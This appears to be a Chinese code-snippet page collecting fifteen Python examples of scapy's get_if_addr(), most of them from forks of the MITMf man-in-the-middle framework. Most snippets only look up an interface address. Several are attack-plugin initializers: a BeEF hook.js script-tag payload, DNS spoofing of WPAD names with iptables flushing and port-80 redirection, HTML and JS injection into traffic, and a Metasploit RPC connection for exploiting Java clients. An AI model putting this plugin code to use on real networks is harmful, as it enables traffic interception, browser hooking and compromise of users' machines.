Python scapy.all 模块,get_if_addr() 实例源码

我们从Python开源项目中,提取了以下15个代码示例,用于说明如何使用scapy.all.get_if_addr()

项目:mitmfnz    作者:dropnz    | 项目源码 | 文件源码
def get_ip(interface):
    try:
        ip_address = get_if_addr(interface)
        if (ip_address == "0.0.0.0") or (ip_address is None):
            shutdown("Interface {} does not have an assigned IP address".format(interface))

        return ip_address
    except Exception as e:
        shutdown("Error retrieving IP address from {}: {}".format(interface, e))
项目:piSociEty    作者:paranoidninja    | 项目源码 | 文件源码
def get_ip(interface):
    try:
        ip_address = get_if_addr(interface)
        if (ip_address == "0.0.0.0") or (ip_address is None):
            shutdown("Interface {} does not have an assigned IP address".format(interface))

        return ip_address
    except Exception as e:
        shutdown("Error retrieving IP address from {}: {}".format(interface, e))
项目:mitmf    作者:ParrotSec    | 项目源码 | 文件源码
def get_ip(interface):
    try:
        ip_address = get_if_addr(interface)
        if (ip_address == "0.0.0.0") or (ip_address is None):
            shutdown("Interface {} does not have an assigned IP address".format(interface))

        return ip_address
    except Exception as e:
        shutdown("Error retrieving IP address from {}: {}".format(interface, e))
项目:SEF    作者:ahmadnourallah    | 项目源码 | 文件源码
def get_ip(interface):
    try:
        ip_address = get_if_addr(interface)
        if (ip_address == "0.0.0.0") or (ip_address is None):
            shutdown("Interface {} does not have an assigned IP address".format(interface))

        return ip_address
    except Exception as e:
        shutdown("Error retrieving IP address from {}: {}".format(interface, e))
项目:SEF    作者:ahmadnourallah    | 项目源码 | 文件源码
def initialize(self, options):
        self.options = options

        try:
            beefconfig = options.configfile['MITMf']['BeEF']
        except Exception, e:
            sys.exit("[-] Error parsing BeEF options in config file: " + str(e))

        try:
            userconfig = options.configfile['BeEFAutorun']
        except Exception, e:
            sys.exit("[-] Error parsing config for BeEFAutorun: " + str(e))

        self.Mode = userconfig['mode']
        self.All_modules = userconfig["ALL"]
        self.Targeted_modules = userconfig["targets"]

        try:
            self.ip_address = get_if_addr(options.interface)
            if self.ip_address == "0.0.0.0":
                sys.exit("[-] Interface %s does not have an IP address" % options.interface)
        except Exception, e:
            sys.exit("[-] Error retrieving interface IP address: %s" % e)

        Inject.initialize(self, options)
        self.black_ips = []
        self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (self.ip_address, beefconfig['beefport'])

        beef = beefapi.BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
        if beef.login(beefconfig['user'], beefconfig['pass']):
            print "[*] Successfully logged in to BeEF"
        else:
            sys.exit("[-] Error logging in to BeEF!")

        print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode
        t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
        t.setDaemon(True)
        t.start()
项目:SEF    作者:ahmadnourallah    | 项目源码 | 文件源码
def initialize(self, options):
        '''Called if plugin is enabled, passed the options namespace'''
        self.options = options
        self.interface = options.interface

        if os.geteuid() != 0:
            sys.exit("[-] Responder plugin requires root privileges")

        try:
            config = options.configfile['Responder']
        except Exception, e:
            sys.exit('[-] Error parsing config for Responder: ' + str(e))

        try:
            self.ip_address = get_if_addr(options.interface)
            if self.ip_address == "0.0.0.0":
                sys.exit("[-] Interface %s does not have an IP address" % self.interface)
        except Exception, e:
            sys.exit("[-] Error retrieving interface IP address: %s" % e)

        print "[*] Responder plugin online"
        DnsCache.getInstance().setCustomAddress(self.ip_address)

        for name in ['wpad', 'ISAProxySrv', 'RespProxySrv']:
            DnsCache.getInstance().setCustomRes(name, self.ip_address)

        if '--spoof' not in sys.argv:
            print '[*] Setting up iptables'
            os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
            os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % options.listen)

        t = threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address, config))
        t.setDaemon(True)
        t.start()
项目:ooniprobe-debian    作者:TheTorProject    | 项目源码 | 文件源码
def getAddresses():
    from scapy.all import get_if_addr, get_if_list
    from ipaddr import IPAddress

    addresses = set()
    for i in get_if_list():
        try:
            addresses.add(get_if_addr(i))
        except:
            pass
    if '0.0.0.0' in addresses:
        addresses.remove('0.0.0.0')
    return [IPAddress(addr) for addr in addresses]
项目:SEF    作者:hossamhasanin    | 项目源码 | 文件源码
def get_ip(interface):
    try:
        ip_address = get_if_addr(interface)
        if (ip_address == "0.0.0.0") or (ip_address is None):
            shutdown("Interface {} does not have an assigned IP address".format(interface))

        return ip_address
    except Exception as e:
        shutdown("Error retrieving IP address from {}: {}".format(interface, e))
项目:SEF    作者:hossamhasanin    | 项目源码 | 文件源码
def initialize(self, options):
        self.options = options

        try:
            beefconfig = options.configfile['MITMf']['BeEF']
        except Exception, e:
            sys.exit("[-] Error parsing BeEF options in config file: " + str(e))

        try:
            userconfig = options.configfile['BeEFAutorun']
        except Exception, e:
            sys.exit("[-] Error parsing config for BeEFAutorun: " + str(e))

        self.Mode = userconfig['mode']
        self.All_modules = userconfig["ALL"]
        self.Targeted_modules = userconfig["targets"]

        try:
            self.ip_address = get_if_addr(options.interface)
            if self.ip_address == "0.0.0.0":
                sys.exit("[-] Interface %s does not have an IP address" % options.interface)
        except Exception, e:
            sys.exit("[-] Error retrieving interface IP address: %s" % e)

        Inject.initialize(self, options)
        self.black_ips = []
        self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (self.ip_address, beefconfig['beefport'])

        beef = beefapi.BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
        if beef.login(beefconfig['user'], beefconfig['pass']):
            print "[*] Successfully logged in to BeEF"
        else:
            sys.exit("[-] Error logging in to BeEF!")

        print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode
        t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
        t.setDaemon(True)
        t.start()
项目:SEF    作者:hossamhasanin    | 项目源码 | 文件源码
def initialize(self, options):
        '''Called if plugin is enabled, passed the options namespace'''
        self.options = options
        self.interface = options.interface

        if os.geteuid() != 0:
            sys.exit("[-] Responder plugin requires root privileges")

        try:
            config = options.configfile['Responder']
        except Exception, e:
            sys.exit('[-] Error parsing config for Responder: ' + str(e))

        try:
            self.ip_address = get_if_addr(options.interface)
            if self.ip_address == "0.0.0.0":
                sys.exit("[-] Interface %s does not have an IP address" % self.interface)
        except Exception, e:
            sys.exit("[-] Error retrieving interface IP address: %s" % e)

        print "[*] Responder plugin online"
        DnsCache.getInstance().setCustomAddress(self.ip_address)

        for name in ['wpad', 'ISAProxySrv', 'RespProxySrv']:
            DnsCache.getInstance().setCustomRes(name, self.ip_address)

        if '--spoof' not in sys.argv:
            print '[*] Setting up iptables'
            os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
            os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % options.listen)

        t = threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address, config))
        t.setDaemon(True)
        t.start()
项目:MITMf    作者:wi-fi-analyzer    | 项目源码 | 文件源码
def get_ip(interface):
    try:
        ip_address = get_if_addr(interface)
        if (ip_address == "0.0.0.0") or (ip_address is None):
            shutdown("Interface {} does not have an assigned IP address".format(interface))

        return ip_address
    except Exception as e:
        shutdown("Error retrieving IP address from {}: {}".format(interface, e))
项目:SEF    作者:ahmadnourallah    | 项目源码 | 文件源码
def initialize(self, options):
        '''Called if plugin is enabled, passed the options namespace'''
        self.options      = options
        self.html_src     = options.html_url
        self.js_src       = options.js_url
        self.rate_limit   = options.rate_limit
        self.count_limit  = options.count_limit
        self.per_domain   = options.per_domain
        self.black_ips    = options.black_ips
        self.white_ips    = options.white_ips
        self.match_str    = options.match_str
        self.html_payload = options.html_payload

        try:
            self.proxyip = get_if_addr(options.interface)
            if self.proxyip == "0.0.0.0":
                sys.exit("[-] Interface %s does not have an IP address" % options.interface)
        except Exception, e:
            sys.exit("[-] Error retrieving interface IP address: %s" % e)

        if self.white_ips:
            temp = []
            for ip in self.white_ips.split(','):
                temp.append(ip)
            self.white_ips = temp

        if self.black_ips:
            temp = []
            for ip in self.black_ips.split(','):
                temp.append(ip)
            self.black_ips = temp

        if self.options.preserve_cache:
            self.implements.remove("handleHeader")
            self.implements.remove("connectionMade")

        if options.html_file is not None:
            self.html_payload += options.html_file.read()

        self.ctable = {}
        self.dtable = {}
        self.count = 0
        self.mime = "text/html"
        print "[*] Inject plugin online"
项目:SEF    作者:ahmadnourallah    | 项目源码 | 文件源码
def initialize(self, options):
        '''Called if plugin is enabled, passed the options namespace'''
        self.options      = options
        self.sploited_ips = []  #store ip of pwned or not vulnerable clients so we don't re-exploit

        try:
            msfcfg       = options.configfile['MITMf']['Metasploit']
        except Exception, e:
            sys.exit("[-] Error parsing Metasploit options in config file : " + str(e))

        try:
            self.javacfg = options.configfile['JavaPwn']
        except Exception, e:
            sys.exit("[-] Error parsing config for JavaPwn: " + str(e))

        self.msfport = msfcfg['msfport']
        self.rpcip   = msfcfg['rpcip']
        self.rpcpass = msfcfg['rpcpass']

        try:
            self.msfip = get_if_addr(options.interface)
            if self.msfip == "0.0.0.0":
                sys.exit("[-] Interface %s does not have an IP address" % options.interface)
        except Exception, e:
            sys.exit("[-] Error retrieving interface IP address: %s" % e)

        #Initialize the BrowserProfiler plugin
        BrowserProfiler.initialize(self, options)
        self.black_ips = []

        try:
            msf = msfrpc.Msfrpc({"host": self.rpcip})  #create an instance of msfrpc libarary
            msf.login('msf', self.rpcpass)
            version = msf.call('core.version')['version']
            print "[*] Successfully connected to Metasploit v%s" % version
        except Exception:
            sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")

        print "[*] JavaPwn plugin online"
        t = threading.Thread(name='pwn', target=self.pwn, args=(msf,))
        t.setDaemon(True)
        t.start()  #start the main thread
项目:SEF    作者:hossamhasanin    | 项目源码 | 文件源码
def initialize(self, options):
        '''Called if plugin is enabled, passed the options namespace'''
        self.options      = options
        self.html_src     = options.html_url
        self.js_src       = options.js_url
        self.rate_limit   = options.rate_limit
        self.count_limit  = options.count_limit
        self.per_domain   = options.per_domain
        self.black_ips    = options.black_ips
        self.white_ips    = options.white_ips
        self.match_str    = options.match_str
        self.html_payload = options.html_payload

        try:
            self.proxyip = get_if_addr(options.interface)
            if self.proxyip == "0.0.0.0":
                sys.exit("[-] Interface %s does not have an IP address" % options.interface)
        except Exception, e:
            sys.exit("[-] Error retrieving interface IP address: %s" % e)

        if self.white_ips:
            temp = []
            for ip in self.white_ips.split(','):
                temp.append(ip)
            self.white_ips = temp

        if self.black_ips:
            temp = []
            for ip in self.black_ips.split(','):
                temp.append(ip)
            self.black_ips = temp

        if self.options.preserve_cache:
            self.implements.remove("handleHeader")
            self.implements.remove("connectionMade")

        if options.html_file is not None:
            self.html_payload += options.html_file.read()

        self.ctable = {}
        self.dtable = {}
        self.count = 0
        self.mime = "text/html"
        print "[*] Inject plugin online"
项目:SEF    作者:hossamhasanin    | 项目源码 | 文件源码
def initialize(self, options):
        '''Called if plugin is enabled, passed the options namespace'''
        self.options      = options
        self.sploited_ips = []  #store ip of pwned or not vulnerable clients so we don't re-exploit

        try:
            msfcfg       = options.configfile['MITMf']['Metasploit']
        except Exception, e:
            sys.exit("[-] Error parsing Metasploit options in config file : " + str(e))

        try:
            self.javacfg = options.configfile['JavaPwn']
        except Exception, e:
            sys.exit("[-] Error parsing config for JavaPwn: " + str(e))

        self.msfport = msfcfg['msfport']
        self.rpcip   = msfcfg['rpcip']
        self.rpcpass = msfcfg['rpcpass']

        try:
            self.msfip = get_if_addr(options.interface)
            if self.msfip == "0.0.0.0":
                sys.exit("[-] Interface %s does not have an IP address" % options.interface)
        except Exception, e:
            sys.exit("[-] Error retrieving interface IP address: %s" % e)

        #Initialize the BrowserProfiler plugin
        BrowserProfiler.initialize(self, options)
        self.black_ips = []

        try:
            msf = msfrpc.Msfrpc({"host": self.rpcip})  #create an instance of msfrpc libarary
            msf.login('msf', self.rpcpass)
            version = msf.call('core.version')['version']
            print "[*] Successfully connected to Metasploit v%s" % version
        except Exception:
            sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")

        print "[*] JavaPwn plugin online"
        t = threading.Thread(name='pwn', target=self.pwn, args=(msf,))
        t.setDaemon(True)
        t.start()  #start the main thread